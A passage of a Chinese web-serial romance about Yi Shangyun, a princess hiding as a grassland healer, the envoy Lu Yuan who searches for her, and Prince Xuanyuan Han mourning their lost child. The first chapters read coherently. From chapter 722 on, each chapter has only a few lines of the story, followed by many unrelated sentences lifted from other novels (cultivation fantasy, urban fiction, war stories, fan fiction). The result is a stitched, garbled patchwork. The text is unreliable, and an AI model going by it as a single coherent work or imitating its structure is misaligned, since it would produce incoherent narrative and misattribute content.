可却亦心中疑惑:“龙虎城大疫早已结束,那这个人,千里迢迢跑到这般苦寒之地来找我,究竟有何目的?难不成是东宁又发生了什么事,他来寻我,是想带我回东宁……” 一念至此,她心里当即坚定地连连否定。 “不行,我绝对不能再跟他回去。” “眼下,只待救了丁香,报了二皇子的仇,我便就会一心想办法回到21世纪去。” “再也不能与这里的任何人与事纠缠不清了!” 打定了主意后,衣上云便佯装着笑了笑,说:“这位公子你怕是认错人了,我并不是什么公主,亦从不认识你。夜已深了,我先走了!” 说完,便就自顾自迈起步来,欲要下山去。 历经千辛万苦,好不容易终于再次见到了自己心心念念的人。 可看着衣上云此刻却将自己完全视同陌路人一般,从自己身边绝情地经过,兀自离去。 男子不甘心,亦是紧张极了,怕她一离开,自己便就会再次失去她的消息。 于是便着急地又大喊了一声:“公主不要走!臣下方才从公主的眼神里已经知道,自己并没有认错人,你就是我东宁国的永宁公主。” 心中依旧抱着最后一丝希望,男子缓缓转过身去,对着衣上云的背影,深情款款地说:“难道,在龙虎城,我们曾经一起所经历过的一切,公主全都忘了吗?” 衣上云顿足停下,却是久久都没有回答他。 陆远紧接着便将衣上云离开后,直到梅汐媛回国,所发生的一切俱都对其娓娓道来…… 最后几近恳求一般地说:“如今东宁朝堂动荡不堪,公主若是不回去主持大局,东宁怕就危急了!” 衣上云听了梅汐媛母子三人所做下的一切,将一双暗藏在袖子里的拳头紧紧握起,心里自言自语道:“看来,昔日对他们的惩罚,竟是远远不够!” 内心挣扎了许久,可最后终是心一横,只关切了一句道:“对不起,公子所说的一切,都与我无关!我只是一个开医舍的普通女子,亦爱莫能助,帮不了公子任何。草原上夜里的山中异常寒冷,公子还是早些回去吧,以免冻伤自己。” 说完,便就再次提起步来。 “公主!” 忽闻再一声轻唤后,耳边响起了重重的扑通一声。 许是在这冰冷的天地里几乎不眠不休地到处奔走,寻觅了太久。 加之一直以来,紧绷在心中的那个执念此时顷刻间忽然彻底崩塌。 男子终是再也扛不住了,体力不支,便就这样倒身在了脚下这片彻骨寒冷的地上。 衣上云听见声响后,赶忙回头疾奔过去,蹲身查看并询问。 “陆远,你醒醒!” “你怎么了?” “能听见我说话吗?” “陆远……” “陆远……” 男子强撑着最后一丝力气,再一次微微睁开眼睛来,嘴角轻轻一勾,露出一抹浅笑。 断断续续地说:“公主,我就知道是你,我终于找到你了!” 可话刚勉强说完,便就彻底晕厥了过去。 衣上云见了大惊。 “陆远,不能睡。” “千万不能睡!” “我以永宁公主的身份命令你,不准睡过去!” “你若今夜死在这里,本公主绝对不会饶恕你!” “来人,来人啊……” 可看看漆黑一片的周围里,一个人都没有,根本无法求助他人。 衣上云只能用自己孱弱微小的身子将男子吃力极了地扶起身来,更加跌跌撞撞着,缓缓下山。 待到所有人离去,一位青袍老道儿忽然不知从什么地方现出身来,出现在拓跋宏的墓碑前。 “十年修得同船渡,百年修得共枕眠。这一世,你的到来,便就注定只能陪她走到这里了!” 第七百一十四章:三日前就离开了 是夜,秦王府。 再有月余,陆天骄便就要以侧妃的身份入府了。 可至今却还没有关于衣上云的任何消息,轩辕翰心里着急却又无奈。 可让他最看不清的,则是太后等人。 “既然太后已经寻回了自己的亲子,理应已经开始有所行动了才是,却又为何直到现在迟迟还没有任何动作?他们究竟在等什么?” 沉思之际,浑然不觉程良正脚步缓缓地来到了承华殿里。 看似心情颇为沉重,上前对轩辕翰禀报道:“殿下,被囚禁在宫里的人已经查到了!” 闻声,轩辕翰即刻收回思绪,目光一怔,沉声问道:“是谁?” “是……” 似是心里有些迟疑,可想了想还是说出口来。 “是丁香。” 关于丁香,轩辕翰着实已派人找了很久,却是始终都渺无音信。 他心中虽然猜测过,可此时真的确认了,还是觉得有些意外:“是她?!” 丁香的凄惨遭遇,身为一国之君,璟帝那般令人发指的不耻行为,程良实在不知该如何开口。 遂吞吞吐吐地皱起眉头,继续道:“丁香……” “她被下了毒!” “且如今已中毒至深,奄奄一息,只怕是……” “无药可解,时日不多了……” 轩辕翰简直不敢相信自己的耳朵:“你说什么?” 程良着急地解释:“属下已经在想办法营救了,殿下切莫太过于着急。” 轩辕翰命令其:“她是云儿颇为在意之人,而且她极可能知道云儿被困在长宁宫里所发生的许多事情,务必一定要将她给本王救出来。” 程良领命道:“是!” 看到程良已然禀告完毕,却还是杵在那里一动不动。 轩辕翰便开口问:“怎么?还有什么事?” 程良的脸色更加难看了许多,亦更犹豫了几分:“还有一事,属下,属下……” 轩辕翰追问:“到底何事?” 程良心一横,道:“属下无能,派去跟踪陆远的人……跟丢了。” 轩辕翰听了,顿扬声怒道。 “你说什么?” “跟丢了?” 程良解释道:“那个龙虎城少城主陆远实在太狡猾了。我们的人跟了许久,才发现,那陆远早已离队独自行动,怕是他发现了我们的人,故而才这么做的。” 轩辕翰此时已肯定极了:“如此看来,他是真的想一找到云儿,便就直接将她带回东宁去。” 这时,程良再次开口断断续续说了起来。 “不过,我们原本派去寻找的人刚刚传回消息,发现了疑似王妃娘娘的踪迹,她在草原上开了一所医舍……” 未及其将话说完,轩辕翰便着急地将他打断,再次朝其确认:“云儿她真的还活着……” 程良点点头。 复又继续开口说:“前不久,名医堂的人去医馆闹事,王妃娘娘早产,孩子……孩子没能保住。” “听说……是个极可爱的郡主……” 轩辕翰听了程良所说的一切,默默地握紧搭在案上的一只拳头,咬牙恨恨地道:“名医堂?本王一定要让他们为本王的孩儿陪葬。” 程良急急劝说:“殿下不要,名医堂的存在也是极重要的,可以监管原北烈混乱不堪的各大大小小的医馆,药馆。只是,这件事,他们亦都是奉命行事而已!” 顿回过神来,轩辕翰心急如焚地问:“那现在云儿怎么样了?” 程良甚觉无比惋惜地道:“接连两次遭遇不幸,王妃她的身子,本就不宜有孕,怕是以后再也无法生育了……” 终于,那只搭在案上已紧紧握起的拳头再也忍无可忍,抬起又重重地砸了下去。 程良实在不忍心,可又不得不说:“而且,娘娘她已经离开草原,不知去向……” “你说什么?” 闻此,一时间气急攻心,轩辕翰忽然喷出一大口鲜血来。 程良见了,紧忙上前疾呼:“殿下……” 三日后。 云上医舍里。 陆远终于再次缓缓地睁开了眼睛,苏醒过来。 守在一旁寸步不敢离开的侍卫见了,即刻发出一阵激动不已的声音。 “醒了!” “醒了!” “少主终于醒了!” 紧接着,便又慌慌张张地跑到门口唤来外面的医女。 “医女……” “医女……” “快过来……” “快来看看……” “我家少主醒了!” “快……” 霎时间,便见一位草原当地装扮,脸蛋红扑扑的年轻女子疾步进来。 她仔细对陆远做了一番检查后,最后又查看了位于其喉结下方所包扎着的一个伤口。 方才说:“好了,他已经没事了!” 侍卫听了,连连朝其道谢。 “谢谢医女!” “谢谢医女!” 医女微笑着离去,侍卫再次回到陆远的身旁。 仿佛至今都还有些后怕着。 “少主此举真是太危险了!时下草原上的天气恶劣非比寻常,我们初至草原又人生地不熟的,您怎可单独行动?这若是万一有个什么闪失,您让我们如何同老城主,以及整个龙虎城的子民们交待?” “不碍事的,如果我们一起行动,目标则太大,一定会引起人注意。如果我猜的没错,一直暗中盯着我们的那些人,定是秦王轩辕翰派来的,如果行动被他的人发现,我们就很难将公主安全护送回国。” 想起梅汐媛回国后所做的一切,还有梅志煊的碌碌无为,陆远忧心极了:“如今朝堂上的纷争,只有公主才能平息,我们此次务必一定不惜任何代价,亦得将公主带回去主持大局。” 陆远一边解释说着,一边挣扎着坐起身来。 侍卫心里却有些疑惑,说:“难道少主没有发现,除了秦王的人,仿佛还有另一股势力亦在暗中悄悄窥视我们吗?” 陆远眉头紧蹙,道:“我亦对此有所怀疑,只是尚还不清楚到底是谁?” 侍卫想了想,对其禀报道:“我们发现,那些人,似乎与当地的一所名医堂关系甚为密切。” 陆远听了怔了一下,遂分析说:“名医堂……那不是自从北烈亡国后,由西秦朝廷所设在此地专门监管当地各大医馆的吗?” 侍卫点了点头:“属下亦有所耳闻。” 陆远顿时明白了起来:“难道……那另一股势力,来自西秦朝堂。” 闻此,侍卫惊声道:“莫不是,他们亦是冲着公主而来的!” 话说至此,陆远紧张地问:“对了,公主呢?公主现在哪儿?这些怕是只有问了公主,一切方才能真相大白。” 侍卫不知陆远为何忽然会说出这些话,只一脸不解地问:“公主,什么公主?” 情急之下,一阵痛感顿由颈部袭来。 陆远强忍着痛楚,道:“公主,就是将我带来此处的那位女子,她现在哪儿?赶快带我去见她!” 说着,陆远便就急急下床自顾自穿起了靴子来。 可侍卫们人手皆都有陆远所发放下来的公主画像,在认真回忆了许久之后,却依旧否定了他。 “这三日以来,属下在这个医舍里,只见过方才的那位医女,并没有其他女子了!少主莫不是出现幻觉,将那医女看成公主了吧?” 陆远却怎么都不相信,起身到一边继续更衣,一边说着。 “胡说!” “怎么可能?” “公主明明就在这里。” “那天夜里,我就是在这个医舍门前发现她的踪影,才一路跟着到了山里,终于将她找到了!” “你竟同我说没有!” “我昏迷前,明明还听到了公主的声音,她亲口跟我说,她以公主的身份……” 恰时,方才替其检查的医女又再次掀开门帘走了进来。 一进门便说:“该换药了!” 可一看到陆远要起身离开,便道:“你这是打算要去哪儿?” 二人顿时停下争吵,一起朝其怔住。 那医女走到一旁案边,又问:“你们是从外地来的?” 尽管他们已经装扮地极像草原男子,岂料此刻却还是被认了出来。 医女见二人沉默不语,便继续说:“严冬时节初到草原,多日下来,你们定是居无定所,风餐露宿。你除了患上了极冷空气所引发的重型哮症之外,身上还有多处严重的冻伤。一时半会儿,还哪儿都不能去。否则,姑娘所有的努力,便就都白费了!” 陆远一听,不解地问:“姑娘……什么姑娘?” 医女扫了一眼周围,有些自豪地说道:“这所云上医舍,便就是姑娘开的,此乃这片草原上有史以来第一所,亦是迄今为止的唯一一所由女子坐诊的医舍。” 陆远口中随之默念。 “云上医舍……” “云上……” “上云……” 顿时间,懊恼不已:“该死,怎么我没有早些领悟过来!” 回忆过往。 霎时间,他看向身旁的侍卫,内心不知有多么激动,高兴地对身旁的侍卫说:“看吧,我就说公主她果然就在这里。” “公主名唤衣上云,这所医舍,名曰云上医舍。” “原来我们打从到了这片草原的第一天开始,家家户户所传诵的,人们口中赞叹不绝的女神医,便就是公主!” 此话一出,陆远顿时打起了精神来,赶忙问那医女。 “公主她现在在哪儿……” 看到医女显然一脸茫然不知所措,陆远又道。 “就是你方才所说的那位开了这所医舍的姑娘……” “她现在人在哪儿,我想见她。” “她人呢,我想马上见到她。” 医女缓缓说:“姑娘她,三日前就离开了。” 第七百二十二章:街头求救的妇人 妇人定睛一看,只见面前竟现出一个宛若天仙般美丽的面孔来,正温柔的看着自己。 恰是衣上云刚好赶到,身上正裹着一袭镶边石榴红对襟羽缎斗篷。 在这飘雪的日子里,看起来甚是温暖人心,夺目动人。 随着时间的推移,虚灵就变成了眼前的老者模样,那贼贼的眼睛也不知道是仿谁的,看着就让人心生警惕,一看就不是老实的主。 要是在让出一根长生柱,候补鹏王保不准还有什么其他借口,在继续霸占人族最后一根长生柱。 半兽人突然犹豫了。他没有得到消息,不知道灵00000说的是真是假。可是在兽人大陆,从来没有见过人类魔法师。所有人族都是兽人半兽人的奴隶,只知道干活,不敢大声说话。 叶辰这时候嘴角扬起一抹笑容,他手上这只狙击枪,经过他的改装,差不多有一千米的射程,打这种移动靶完全没有任何难度。 向府的下人们显然早就得到了消息,异常恭敬的将秦宇和苏子妍接到了客厅。 一般杰克问话,都是骑士先说。他也不敢说出是大王子派来的,那不是他该说出来的,杰克自己会领会。 轰然间,项羽身上的战甲尽数龟裂,竟然被魔天的撕天之力撕的粉碎。 “好!希望经此一战,我们周家会出现第三个天人境高手!”周聪一饮而尽。 那位保镖在搜身时明明摸到了藏在跨下的枪支,愣是装作没有发现,如果张浩不是开启透启功能,根本就不可能发现这点,至于吴来,他更没发现。 这看似已经是他最大的让步,可萧江沅知道,让李旦三日无暇理会自己,这对于李隆基来说,并不是一件太难的事。她却不想再反驳了,这是她和他之间最大的隔阂和障碍,心意不通,话不投机,多说无益。 他们那里的裹脚医生都没有诊脉一说,就是随便给看看,就开药了。 她的脚伤已经好了,身体内脏的伤亦是好的差不多,现在这个时候,她就正在忙来忙去,把自己的衣物装在行李箱。 得亏自己慧眼识珠,对徒弟从不体罚,不然……想起陆朝的下场,羽疏冷不丁打了个冷噤。 众人点点头,跟着白里才离开了这片区域,来到了一个巨大的山脉处。 令出城找到了王灵韵和那只奇怪的松鼠,她跟他们说起人们祭拜宫明的事情。王灵韵听到之后感觉画面很是诡异。素衫还不认识宫明,所以只是单纯的觉得,这件事情有点滑稽。 千晚扬手挟制住她的下颚,眸中酝酿起风暴,危险的气息不加掩饰的释放出来。 也不顾及摄政王在一旁,让其俯下身子,与其耳语一番后,便又摆了摆手让其退下。 好吧,虽然这个男人让自己有些恐惧,但也比那个所谓的太子,要顺眼许多。 “不管你会不会放过他们我总归是见不到的。”所以,这个威胁对她没什么用,她也并没有自己想象中的那么伟大。 “算了,先办正事要紧。”林奕从包里拿出三炷香,点燃插在地上。 只见一人,阴沉沉的挺立在门口,那人身着倭国和服,一脸阴森狡诈之相。 “哇!”所有人都傻了,一是被唐枫的出手惊到了,说实话唐枫自己都没想到这套组合拳效果这么好。二是大家完全不知道他在说什么,但听着似乎很霸气。 第七百二十三章:众里寻她 恰时。 经过乐太医多日以来为其精心调养刚刚能下榻来的轩辕翰,亦穿越人海,缓缓出现在同一条街上。 而上述这些数据所带来的,就是大批的移民。加上安哥拉原本资源就挺丰富的,而且这里气温适宜,算得上是四季如春的一个好地方,靠着海岸,又是一个度假胜地,生活在这里,确实是一件非常安逸和享受的事情。 楚天舒沒喝酒,他是清醒的,知道要这么喝下去,非喝趴下几个不可,而且首当其冲的就是杜雨菲。 咴儿咴儿!在天空中溜达的魔魇,看到长大懒得风狼王嘶叫一声,天空中一个巨大的虚影开始凝成。 云牧也难以选择了,摸着良心说,这两条内裤都让他血脉贲张,到底钱梦茹该穿哪一条更给力呢? 向晚晴如释重负般跳下车,帮着楚天舒一起,把购物车上的东西塞进了后备箱。 找了一个路人,郑奇站在了中间,宋雅y站在他左手边,何惜梅在右手边,夜莺靠着何惜梅,四人紧靠着,并以一个男人为中心。这无疑让路人有些羡慕,郑奇咧嘴笑了笑,“咔嚓”一声,他的表情在这一刻定格了下来。 叶泽涛受到的教育也一直就是宽容待人,以德报怨,从来就没怀疑过这事,现在突然一听时,就有些愕然。 连招,最重要的当然是一个连字,什么地方轻,什么地方重,什么地方杀,什么地方接,这都是很重要的。可是没有任何一个宗派能够创造出如此多而复杂的功法。 一根手指杵着自己的脑袋,李维用另一只手拦住了对面牛头人酋长想要继续发表的长篇大论。 那些衣食无忧的孩子在“精英父母”的带领下,早早地便会意识到钱这种东西有多么重要。 夕颜手心里的玉佩忽然化作一道金色的光芒,飞进了他的身体之中。 所以对于狗腿一号而言,此刻已经没有任何补救措施能够终止他即将犯下的“罪行”,只能眼睁睁地看着自己迈向毁灭的终章。 看到陶馨雅这一副模样,杨傲天实在是有一些无语了,他能够很清楚地感受到,陶馨雅很显然,没有将自己的话放在心上,于是乎也不再继续努力,反而主动扯开了话题。 副将听着守卫的禀告,余光不着痕迹地扫过倒在地上的上官云曦,只觉得一个头两个大。 虽然楚云前世是被家长捧在手心长大的,可是父母教育的好,所以她懂得不能让关心她的人担心她。 而王琰此刻更是在黑暗之中长大了嘴巴,脸上血色全无,看起来面如死灰,脸色简直比死人还要难看好几倍。 算算时间马上就要到沙泽城一年一度的秋收节了,这虽然主要是在城池中举办,其他地方也会在那一天行动起来,可以说,这个节日实质上是整个岛屿共同的节日。 关心人他从来都不会,而且他最近也想开了他跟肖俊瑞的矛盾,可肖俊瑞又陷入了另外一个。 佯攻并不意味着作战任务的轻松,与普通人认知不同的是,陈宗柏担任的佯攻任务某种程度上,困难程度不下于主力部队的对圣菲的攻坚战。 第七百二十四章:以为是绣花枕头 “怎么是他?” 衣上云此时方才惊讶地发现,原来这几日拓跋泽总是早出晚归。 即便偶尔碰到,问他亦是言语含含糊糊,不愿细说,整个一副神神秘秘的样子,竟然是到这里来见梅汐媛。 看来之前的巨念老祖就是这些大人物之一,而且还是隐藏在暗处的大人物。 真正的办法应该是一边培养,一边学习,然后等到关键时刻,再由李杰出面点拨一二。 周芷若鹅蛋般白皙的脸庞红透,嗔怒地瞪了他一眼,撇过头去,似乎不想理他了。 “我也正有此意。”象石只怕也感知自己体内有白象精血,齐玄易何尝不想借助象石的力量壮大自身,让白象精血力量更加精纯强大。 然而这也成了邻居们不来救火的原因之一,因为不会烧到他们身上。 如果做不到,光靠打击,一时可能有效,但他们会应付,会拖延,会藏匿,朝廷哪有这么多精力与他们玩捉迷藏? 桑榆身材发育的很好,虽然不是丰满型,但是该有的也都有,皮肤白皙,身材窈窕。 但此时两人都面露痛苦地倒在地上,双方的队医整齐地穿过球场,朝各自的伤员跑去。 东方家族的族长神情漠然,凌空漫步而来,身上没有强大的气势,一种无形的威压,却笼罩了这片会场,他仿佛就是这方天地的主宰者。 昨天,消失了好几天的曲连杰终于再次露面,同时他也带来了一个爆炸性的消息。 莫少骞低头擦拭着璟麟脸上的血,轻轻说道:“璟麟,哥不会让你死的。”然后闭上了眼睛。 面对咄咄逼人的镰刀,香奈儿的这番话说的是超级硬气,一边说话她还一边轻佻的拍手。 他们不懂现在到底谁占据上风,但是从从连绵不绝的拳拳到肉的低沉闷响中中,所有人好像身体里的血液都被燃爆了一般。纵然眼睛酸痛难忍,也舍不得错过一分一秒的场景。 所以他现在只能走一步算一步了,说不定徐贤一会就上来帮忙了呢。 梅若雪本就是吃货,yi听到他那么说,顿时口水直流,恨不得马上就能吃到。 像这些连炼气期都不到的人类,来再多也只是给大梦云泽里的妖兽送血食的。 只不过想到对方的目的真的是营救卫阳他么,她心里也不禁松了一口气。 说着还用手在自己身上比划了一下,在肚皮前方划出一个大圆,那动作憨态可掬,让看到的人都忍不住笑了起来。 一狠心一咬牙,猿人就把这个坏消息告诉了候锐,但候锐这会儿已经顾不上教皇的报复了,他重新开始踱步,脑袋中翻来覆去的思考与鬼火见面的事情,想要找到一个妥善的办法来渡过这次危机。 镜头拍到的最后一幕就是帕尼回首时那怨毒的眼神了,一时间整个一苦情剧的既视感,看的周围的观众大呼过瘾,这感觉没买票都不好意思看了,是不是回头给李梦龙凑过份子什么的,反正他估计也活不长久了。 “来,今天你要是不能把我杀了,你就是我孙子!”云虚在那露出邪魅一笑,气得那个红剑风只能按压着匕首,却不敢动,因为内门动手被发现,可要受到处罚的。 第七百二十五章:故伎重施 她屏住呼吸,努力保持着脚下的节奏均匀而不显得慌乱。 “一” “二” “三” 心里默数着,终于,与其成功擦肩而过。 就在她刚刚松了口气,距离还有一半台阶便就下楼来,正欲加紧脚下的步伐时。 “等等……” 终于,耳畔边,还是响起了那个熟悉的声音来。 他们三个都可是记得开局事情,以及认识那么长,见识林凡装逼多了,这能在对方面前装逼的机会可是少之又少,现在有这么一个机会,怎么可能放过。 “诶,你老公呢?”月璃四处环顾着,却没有发现安泽宇的身影。 没错,站在月璃旁边的,就是她最喜欢的,看得比自己的生命还重要的弟弟——慕容星耀。 简单的整理了一下沙发,找了一个舒服的姿势。便合上眼眸,进入了梦乡。 见这裘千尺思维竟是这般跳脱晋艺宸当即便是不免有些目瞪口呆,而一旁的公孙止则是忍不住面露苦笑了起来。 弹幕上说的,林凡笑了笑,对于这两人,装逼挤兑自己在妹子面前显摆,没有生气,也就觉得可笑,幼稚,也没报复他们想法,就让他们显摆显摆算了。 在发疯似的的咆哮了半天之后,终于发泄出了全部的精力,身体无力的坐了下来。收拾了一下心情,开始想办法解决目前这个烂摊子。 老太太几次想开口,都被三个儿子给拦住了,尤其是老二,当包工头什么人都见过,更知道,玉溪没开玩笑的,真惹急了,倒霉的也是自己家。 而这次的15万大军主要负责对华北倭军作战,从张家口方面出兵,对京城、天津、山东境内的倭军部队。这些兵力足够对付倭国的陆军了,他相信能瞬间碾压对方。 林凡看着大吉大利,今晚吃鸡这几个字直接把游戏关闭,然后掏出一根烟抽了起来。 罗刹门的所有人,看到一个年轻的身影时,不由得一愣,龙跃这么一叫,任何人都是懵逼了。 想要让张天易心甘情愿的去死,或者是被炼制成东洋行尸那是绝对不可能的,他必须要反抗,而且现在风无双和徐若烟这两个最大的软肋也没有在对方手中。 大家顺势就举行了一场狂欢,午夜十二点才结束,各大门派之间的感情得到了非常大的提升。 也确实是这样,都怪自己没有早早的下手。让自己变成了现在这样吧。也怪自己惹的事儿太多,直接变成了现在单身的样子。 眼前的年轻人能找城管,再加上又得罪一帮保安,确实看大门这条路,很适合他,再说了,他承诺苏茜知道,反正这三年要熬,就暂且应下,伺机变化。 “我把手拿开,你手里的一道驱鬼符就把我给弄死了,你当我傻!”她说道。 而他那个惨绝人寰,令人发指的焦油参杂了白磷的火油弹,更是让天怒人怨。这些火油弹在试射的时候,让所有参观的将士感觉到毛骨悚然。那已经超过了人的慈悲范围之外,那就是地狱里生出来的鬼火。 看到夏轩的表情,夏姝也就觉得自己说的一点都没错,心里很是得意。 夏轩真的怀疑自己要是继续待在这里的话怕是会忍不住做出什么不可见人的事情。 “主人,你先不要急,难道主人忘了,苍灵是什么属性的?”苍灵的声音让龙跃眼前一亮。 第七百二十六章:大意了 再次重逢。 显然一点儿也不明白她为什么会如此生气,这般回应自己。 “不!” “不要走!” “不要离开本王!” “回来!” “云儿……” 待到轩辕翰忽地回过神来,亦赶忙追了出去。 在她眼里,大致就是简单吧。简单的人,让和她谈话的人会很舒服。 接下来,魏遮天的反应,差点让罗衍笑出声来,心道,刚才没救错人。 对这一幕,陆晓晓已经习以为常,她甚至连嘲讽的嘴角微表情都懒得给冯佳音一个,所有的注意力都回到了舞蹈老师的身上,等着老师重新放伴奏带。 冲杀在前方的武者,只是尊者一二重修为,直面紫儿这波攻击,已是嗅到了极其危险的味道,故此,他们岂会让自身陷入陷阱。 如果及时处置的话,再过片刻,等这里的封印彻底消失以后。这一百多个鬼魂一窝蜂的窜了出去那篓子就大了。 他们去的目的地叫阳平县。杨平县有二个大镇,一名平山,一名阳成。 这时大厅里的那些赌狗们看到这一幕,皆是露出一抹看好戏的申请,有不少人看了几眼之后当做无事发生,回过神继续赌博,仿佛已经见惯不惯,当然也有一些人好奇的注视着这边。 “唉,我老大要问你话,你老实儿的给老子回答,要是有一句慢了,嘿嘿,看见没有,我这可是‘削金断玉’的绝世宝刀。你要是敢给老子慢上一句,我就用它活劈了你。”山猫凶神恶煞的说道。 金嬷嬷见龙合茹的眉头拧在了一起,扶着她进了里屋,熏上了安神的香料,然后把外面跪着的丫鬟唤进来几个,吩咐她们打扫一下地上的狼藉。 那些瓦罐很多都是同款同花纹,说明出自一个时期,孩子们的脸上也都透着痛苦,朝曦会医,知道那是被活活憋死才会有的表情。 不管是数羊,还是盯着晃动的怀表,亦或者听大自然的触发音,所有可以催眠的声音都无济于事。 既然幻想无法继续影响科林的精神力,尤格萨隆索性使用更加暴力地方法。 第三宇宙和其他宇宙不同,他们拥有很高的科技水平,有机械生命存在,这些家伙本身就自带一些攻击武器,属于机械类的杀伤手段。 波波为三人打开了通道,确认空间即将湮灭,回到了神殿的次元。 坐到圆桌上,他才亲身感受到这几人的不凡。除了宗道远,其他八人基本都是50岁左右的老者,个个精神飒爽,少了许多酒肉之气,多了股清尘之气。 和克维拉争霸输给克维拉没关系,那是因为实力不够,但他总是亲临前线,走在第一线亲征。除了克维拉、弗利萨,其他人都不是他的对手,所以往往他能够顺利得手。 太阳圣殿的战斗结束后,圣殿的牧师和士兵开始清扫战场,抚慰伤员。 毕竟就算是传闻,也总不可能是被凭空捏造出来的吧?有些好奇心深重的武者保不齐就会去深究中州铁血卫的根脚底细。 “噗。”林东风二人同样吐了一口鲜血,脸色变得苍白,不过情况要比凌峰好上许多。 山庄内寂静无声,那些护卫们被雷劫的余威通通镇死,此时山庄内一片狼藉,修筑得金碧辉煌的建筑纷纷倒塌,没有了往日的风景,一眼望去,尽是衰败。 第七百二十七章:被困 拓跋泽回到西郊宅子的时候,已是深夜。 门前,以及院子里的红灯笼都早已高高挂起。 为此苏澜决定假借马里克家族之手,对凌正道和沈慕然实施一些手段,让双方的关系彻底决裂,打消凌正道想收购雅兰制药的念头。 如果放在外界,可能很多人会惊呼,可是放在他们的世界观中,也就仅仅是一个名字而已。 在那最后一波大部队,即将冲入光束里,登入永生教所在的舰队。 “嘻嘻,你竟然跟过来了,实力不错嘛。”肖灵儿发现了萧晨,冲着他略带调皮的说道。 天机老人一击退敌,信心大增,气势再起时,朝着荒域之灵冲了去,根本就不给荒域之灵震撼和消化的时间。 黄敏惠腻味的抱着柳志远手臂,用撒娇的语气说着,虽说是在跟柳志远说话,她的眼睛却瞟着柳青儿,眼神中分明写着高傲。 幽魔激动不已,他是一个嗜战之人,对于强者非常的崇拜,之前他就很崇拜萧晨,现在也对这个仅凭气息就影响十万里的神秘强者,升起浓浓的敬佩。 此时他的身影越发缥缈,那目光正盯着那深渊君主洞府中发生的一切。 可偏偏,每一次,当他召集荒域各大势力来商议对策时,就会有一处传来危机讯号,让他不得不暂时放弃议事,直接下令前去营救。 然而今天沈慕然的情况有些特殊,她来例假了,胸部很是刺疼,不碰就很疼,更何况还挨了凌正道的一记重拳。 当年上一任堂主告知拓山关于清心塔一些事实的真相,清心塔又名炼心塔,清心铃则为唤魔铃,以魔铃音召唤心魔,又以清心塔将心魔镇压,磨灭。 从此刻开始,承诺正式脱离完全摒除疼痛的状态,每次都将承接到一部分,这就像做nk或任何运动一样,开始总是轻松ok,但却会越来越艰难。 待得总算有可以上三楼的修士出现,大家就在楼下,紧张的等待,一个个都感觉时间过得太慢。 这山林深处,野兽遍地,蛮兽纵横,不知有着多少令人忌惮的存在,危险随处而在。 侧身一转,转眼便回到了我的身边,我单手一拉便将欧菲斯拉入怀中。 就随意的靠在了墙边,而兰斯洛特最直接坐在了桌前的板凳上,取下了头上那漆黑的头盔,瞬间一头紫发的帅气面孔呈现在了我们面前。 “他们跟你说需要我帮什么?”缓缓转着墨玉扳指,东方立终于开口。 “唰、唰、唰”听到姜麒的命令左手的第一曲在关羽的安排下先动了起来,二三四曲紧追其后,末了姜麒也带着亲卫跟上的队伍。 这时,雷帝注意到水元素散发出的能量在水系法则的引导下形成一股狂暴的水行能量。 结果话音未落,他的身体便突然一下子从她身上挪开,就跟搬走了一块石头似的,可把她给吓了一跳。 秦梦瑶原本不想声张,说起来还是林岚撞的她,秦梦瑶一改往日的跋扈嚣张,默默的自她们身旁离开,又是拎着这家母婴店的购物袋,林岚更有心损损她了。 第七百二十八章:你是狗吗? 浓浓的夜色下。 百草堂里。 一名店里的伙计正如同往常一样,刚一从店里出来,像是便已实在犯困的不行。 于是站在门口,朝左右张望了一瞬。 坐在沙发里的巨鲨,满头大汗,身体更是冒出了许多虚汗。经过严铭的开导,内心的信念似乎变得坚定起来。 北冥雷看过原著,自然知道变身超级赛亚人的孙悟空将会“杀死”弗利萨。 钱德禄是宁古塔将军的亲信,跟钟鼎沆瀣一气,把卜奎搞的乌烟瘴气。 即便他在姬考的面前伪装得很好,用一双筷子便是轻而易举的击败了神将关羽,但他还是受到了极为厉害的重创。 真的是这样么?似乎也有些道理。但事情的关窍不在这里,我就是不喜欢你塔玛拉总是霸占珉四哥而已。 就在他们以为,这是要到官道上去走步的时候,却发现这支队伍越过了官道,向河边走去。 木槿桦让赶马车的人先找地方停好马车,然后自己从马车上跳了下来,然后秋菊扶着木槿曦出了车厢,让木槿桦将她扶了下来,最后秋菊自己才跳了下来。 可是任凭赵公明手段尽出,都有一股无形之力将其诸般道韵阻隔在外,无法影响到对手半分。 就在贾琏六神无主之际,贾珉开始反击了。这一刻,让贾琏似曾相识,好像在哪里见过似的。 “你们……”朱夫人气得胸腹起伏不定,伸手抚了抚额头,像是要被气晕了。 蔡卓娅拗不过他,只好接过毛巾,象征性的又擦了擦自己胸口未干的水渍。 而对天阳都市报的各部门主任来说,庞毅简直道出了他们的心声!不管他们是否完成了指标任务,这个月的经历都堪称炼狱,而归根结底,这一切都是拜路一鸣所赐。 李伯辰心中一凛……她这是叫我去救她们!可怎么救,拿什么救,救了又能如何,能保她们一世平安么!? “嘭”的一声,穿过蟊贼身体的子弹击中了卧室门口的花盆,花盆应声碎裂。 萧白眯着眼,余光看了一眼紧闭的房门,嘴角噙着一抹淡淡的讥讽的笑意,最后甩了甩袖袍,然后转身离开了盛乐楼。 一旦这件事无法善终,除了马飞要担责之外,恐怕他这个主任助理也难辞其咎。 靠着团队齐心协力与马飞的指挥得当,接下来的一段时间,体娱部俨然成了天阳都市报最亮眼的部门。针对尹雪丽的后续报道做得风生水起,不仅直接推高了报纸的销量,更通过网络收获了大量的曝光。 从未来过古代森林的玩家基本都不知道安全路线,唯有长期混迹在附近的精灵玩家可以较为容易地登顶。 我说的是真的,那灰紫色的眼睛,世间难得一见,像极了紫宝石。 白若竹想想还真有可能,一路上寒气大,容易染了风寒,又被老太太呼来喝去的,肯定就更累了。 混沌中再次发出惊天巨响,在混沌边缘的紫霄宫被这一战震动得上下波动,修炼无情功法的鸿钧眼中一愣,双手一压形成一个巨大的光罩笼罩住整个紫霄宫。一双眼闪出两道白光便向混沌中投去。 “好,下半场你去顶替他,到时候你再想法子。”七七气呼呼道。 第七百二十九章:相互猜忌 二人面面相觑,双双愣住。 忽然,易三少的目光移动,被跟随拓跋泽而来的婢女珠儿的衣着所吸引。 邵羽看了杜妻一眼,“好的,那我们换个地方谈吧!”杜妻也点点头,然后两人走出了医院。 清心正在考虑这些龌龊问题的时候,他眼角的余光透视过厚厚的墙看到了一个身影正朝着秦婷的办公室走来,这个身影不是别人,而是唐晓婉。 不但京卫营,京营,五军营,兵权尽落恭亲王之手,甚至连金吾卫,执旗卫等御林军都归他调配。 “你看,你也不肯回去了。在断尘也……那我们算不算是情人?”话说完,罗云百年难得一见的也红了脸。 